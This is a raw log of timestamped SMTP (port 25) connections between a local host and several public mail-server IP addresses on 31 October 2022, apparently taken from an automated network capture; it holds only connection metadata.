Oct 31, 2022 12:20:05.681988001 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682018995 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.682018995 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.682030916 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682099104 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682101965 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.682142973 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682178020 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.682178974 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682210922 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.682219028 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682260990 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682272911 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.682301998 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682341099 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682382107 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682416916 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682456970 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682485104 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682509899 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682535887 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.682559967 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.742517948 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:05.936023951 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:05.936374903 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:06.029505014 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049722910 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049751043 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049763918 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049772024 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049784899 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049812078 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049978018 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.049992085 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050004005 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050146103 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050159931 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050170898 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050295115 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050375938 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050390005 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050498009 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050512075 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.050524950 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.201900005 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.202218056 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:06.283478975 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.283746004 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:06.284430981 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.284558058 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:06.299487114 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.375478983 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.375672102 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:06.375917912 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.375993013 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:06.463032007 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.463332891 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:06.464648962 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:06.568408966 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.650827885 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.737420082 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.737797022 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:06.738765001 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:06.826342106 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827519894 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827554941 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827570915 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827586889 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827605009 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827615023 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:06.827622890 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827641010 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827658892 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827673912 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827686071 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:06.827687979 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:06.827706099 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:06.827796936 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:07.104038000 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:07.190699100 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190747023 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190768003 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190793991 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190814018 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190834045 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190855026 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190850973 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:07.190871000 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190906048 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190927029 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190948009 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.190949917 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:07.190994978 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:07.190994978 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191015005 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191025019 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:07.191030979 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191052914 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191066027 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191085100 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191099882 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191118956 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.191138983 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.282753944 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:07.282946110 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:07.554150105 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554198980 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554227114 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554258108 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554286003 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554312944 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554341078 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554366112 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554392099 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554434061 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554491997 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554529905 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554555893 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554583073 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554611921 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554639101 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554665089 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.554692984 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:07.649084091 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:07.817801952 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:07.820089102 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:07.821224928 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.186430931 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187287092 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187325001 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187352896 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187382936 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187412024 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187439919 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187459946 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.187467098 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187499046 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187520981 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.187520981 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.187525988 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187550068 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.187550068 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.187556028 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.187580109 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.187596083 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.369493008 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:08.369699001 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:08.369916916 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:08.369995117 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:08.438704967 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.472117901 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.472249985 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.514677048 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.519860983 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.553047895 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.553531885 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553581953 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553601027 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553643942 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553657055 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553692102 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.553761959 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.553807974 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553819895 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553833008 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553867102 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.553884029 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553895950 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.553915024 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553921938 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:08.553981066 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.553992987 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554003954 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554052114 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554081917 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554260015 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554271936 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554282904 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554292917 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.554369926 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.563735962 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.569725037 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.608108044 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.611150980 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.612700939 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.651084900 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.732826948 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:08.769495964 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:08.802700996 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.802995920 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.836607933 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.844500065 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.844783068 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.845972061 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.879081011 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.879105091 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.879120111 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.879134893 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.879148006 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.879281044 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.879347086 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.883903027 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.884005070 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.912318945 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912348032 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912358046 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912369967 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912383080 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912451029 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912461996 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912473917 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912483931 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912494898 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912507057 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912529945 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.912568092 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912585974 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912599087 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912611008 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912626982 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912641048 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912651062 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.912657976 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.912658930 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:08.916934013 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.916949034 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.919712067 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919725895 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919740915 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919755936 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919780970 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919862986 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919879913 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919892073 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919955969 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919970036 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.919984102 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.920032978 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.920047045 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.920059919 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.920085907 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.920098066 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.920108080 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.920119047 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:08.923963070 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:08.924189091 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:08.945696115 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945715904 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945729971 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945744991 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945758104 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945770979 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945785046 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945799112 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945944071 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945965052 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945986032 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.945998907 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.946012020 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.946024895 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.946038008 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.946050882 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:08.952002048 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:09.078347921 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.078386068 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.078564882 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.079608917 CET	49853	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.092993021 CET	49856	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:09.095588923 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:09.095680952 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:09.104597092 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.112168074 CET	25	49853	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.112631083 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:09.112793922 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:09.113153934 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:09.113226891 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:09.141182899 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.158390045 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.158476114 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.174746037 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.174881935 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.198298931 CET	25	49856	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:09.198518991 CET	49856	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:09.217000008 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.217355967 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.224606037 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.224805117 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.247994900 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:09.248248100 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:09.250416040 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.260658979 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.260833025 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.278671026 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.281321049 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.281624079 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.299139977 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.301949978 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.302144051 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.335809946 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.336018085 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.340085983 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.342637062 CET	25	49856	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:09.342850924 CET	49856	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:09.393325090 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:09.393846989 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:09.394403934 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.448549986 CET	25	49856	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:09.449135065 CET	49856	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:09.478830099 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:09.485593081 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.485883951 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.518835068 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.527020931 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.527349949 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.528784037 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.537672043 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:09.540374994 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:09.555149078 CET	25	49856	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:09.555450916 CET	49856	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:09.561813116 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.561839104 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.561850071 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.561856985 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.561871052 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.561997890 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.562072992 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.579473019 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.579941034 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.594988108 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595009089 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595021963 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595062017 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595073938 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595135927 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595134020 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.595165968 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595210075 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.595304966 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595318079 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.595330000 CET	25	49858	142.250.147.27	192.168.2.5
